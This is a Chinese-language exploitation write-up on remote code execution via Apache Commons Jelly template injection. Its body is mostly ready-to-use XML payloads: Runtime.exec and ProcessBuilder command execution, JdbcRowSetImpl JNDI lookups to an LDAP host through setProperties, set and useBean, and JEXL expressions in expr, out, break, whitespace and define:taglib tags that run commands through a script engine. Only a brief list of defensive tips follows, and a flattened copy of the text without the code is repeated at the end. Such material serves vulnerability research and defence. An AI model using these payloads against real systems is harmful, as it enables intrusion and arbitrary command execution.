Apache Common Jelly Remote Code Execution
字数 765 2025-08-22 12:22:42

Apache Commons Jelly 远程代码执行漏洞分析与利用

前言

Apache Commons Jelly 是一个基于 XML 的脚本和处理引擎,可以将 XML 转换为可执行代码。近期发现的漏洞(如 CVE-2024-4879)表明 Jelly 模板注入可能导致远程代码执行(RCE)。本文将详细分析 Jelly 模板注入的各种利用方式。

环境准备

依赖配置

<dependency>
    <groupId>commons-jelly</groupId>
    <artifactId>commons-jelly</artifactId>
    <version>1.0</version>
</dependency>

基本测试用例

JellyContext context = new JellyContext();
Script script = context.compileScript("example.jelly");
script.run(context, XMLOutput.createXMLOutput(System.out));

核心标签利用

Jelly 定义了许多核心标签(Core Tags),位于 org.apache.commons.jelly.tags.core 包下,执行逻辑主要在 doTag 方法中。

1. 使用 Runtime 执行命令

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <invokeStatic var="Runtime" className="java.lang.Runtime" method="getRuntime"></invokeStatic>
    <invoke method="exec" var="exec" on="${Runtime}">
        <arg type="java.lang.String" value="open -a Calculator"></arg>
    </invoke>
</jelly>

2. 使用 ProcessBuilder 执行命令

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <new var="list" className="java.util.ArrayList"></new>
    <invoke var="add" method="add" on="${list}">
        <arg value="open"></arg>
    </invoke>
    <invoke var="add" method="add" on="${list}">
        <arg value="-a"></arg>
    </invoke>
    <invoke var="add" method="add" on="${list}">
        <arg value="Calculator"></arg>
    </invoke>
    <new var="exec" className="java.lang.ProcessBuilder">
        <arg value="${list}"></arg>
    </new>
    <invoke on="${exec}" method="start"></invoke>
</jelly>

Setter 方法利用

1. 使用 setProperties 标签

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <new className="com.sun.rowset.JdbcRowSetImpl" var="jndi"/>
    <setProperties object="${jndi}" dataSourceName="ldap://localhost:9999/NIVIA"/>
    <setProperties object="${jndi}" autoCommit="1"/>
</jelly>

2. 使用 set 标签

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <new className="com.sun.rowset.JdbcRowSetImpl" var="jndi"/>
    <set target="${jndi}" property="dataSourceName" value="ldap://localhost:9999/NIVIA"></set>
    <set target="${jndi}" property="autoCommit" value="1"></set>
</jelly>

3. 使用 useBean 标签

<useBean dataSourceName="ldap://localhost:9999/NIVIA" 
         class="com.sun.rowset.JdbcRowSetImpl" 
         var="jndi" 
         autoCommit="1"/>

注意:setter 方法执行顺序可能影响利用效果。

JEXL 表达式利用

Jelly 在执行 JEXL 表达式上非常灵活,多个标签支持 JEXL 表达式计算。

1. 使用 expr 标签

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
    <expr value="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
                     .getEngineByName('js')
                     .eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</jelly>

2. 使用 out 标签

<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
    <getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
    <out value="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
                   .getEngineByName('js')
                   .eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</jelly>

3. 使用 conditional tags (if/break)

<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
    <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
    <j:break test="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
                       .getEngineByName('js')
                       .eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</j:jelly>

4. 使用 whitespace 标签

<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
    <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
    <j:whitespace>${str .class .forName('javax.script.ScriptEngineManager').newInstance()
                       .getEngineByName('js')
                       .eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}</j:whitespace>
</j:jelly>

标签库利用

可以结合其他标签库实现更复杂的利用:

<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core" xmlns:define="jelly:define">
    <j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
    <define:taglib uri="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
                         .getEngineByName('js')
                         .eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</j:jelly>

防御建议

  1. 限制 Jelly 脚本的执行权限
  2. 对用户输入的 XML 进行严格过滤
  3. 禁用危险的标签和表达式功能
  4. 使用最新版本的 Apache Commons Jelly

总结

Apache Commons Jelly 提供了多种方式实现远程代码执行,包括核心标签利用、JEXL 表达式注入和标签库扩展等。安全人员应充分了解这些利用方式,以便更好地防御相关攻击。

Apache Commons Jelly 远程代码执行漏洞分析与利用 前言 Apache Commons Jelly 是一个基于 XML 的脚本和处理引擎,可以将 XML 转换为可执行代码。近期发现的漏洞(如 CVE-2024-4879)表明 Jelly 模板注入可能导致远程代码执行(RCE)。本文将详细分析 Jelly 模板注入的各种利用方式。 环境准备 依赖配置 基本测试用例 核心标签利用 Jelly 定义了许多核心标签(Core Tags),位于 org.apache.commons.jelly.tags.core 包下,执行逻辑主要在 doTag 方法中。 1. 使用 Runtime 执行命令 2. 使用 ProcessBuilder 执行命令 Setter 方法利用 1. 使用 setProperties 标签 2. 使用 set 标签 3. 使用 useBean 标签 注意:setter 方法执行顺序可能影响利用效果。 JEXL 表达式利用 Jelly 在执行 JEXL 表达式上非常灵活,多个标签支持 JEXL 表达式计算。 1. 使用 expr 标签 2. 使用 out 标签 3. 使用 conditional tags (if/break) 4. 使用 whitespace 标签 标签库利用 可以结合其他标签库实现更复杂的利用: 防御建议 限制 Jelly 脚本的执行权限 对用户输入的 XML 进行严格过滤 禁用危险的标签和表达式功能 使用最新版本的 Apache Commons Jelly 总结 Apache Commons Jelly 提供了多种方式实现远程代码执行,包括核心标签利用、JEXL 表达式注入和标签库扩展等。安全人员应充分了解这些利用方式,以便更好地防御相关攻击。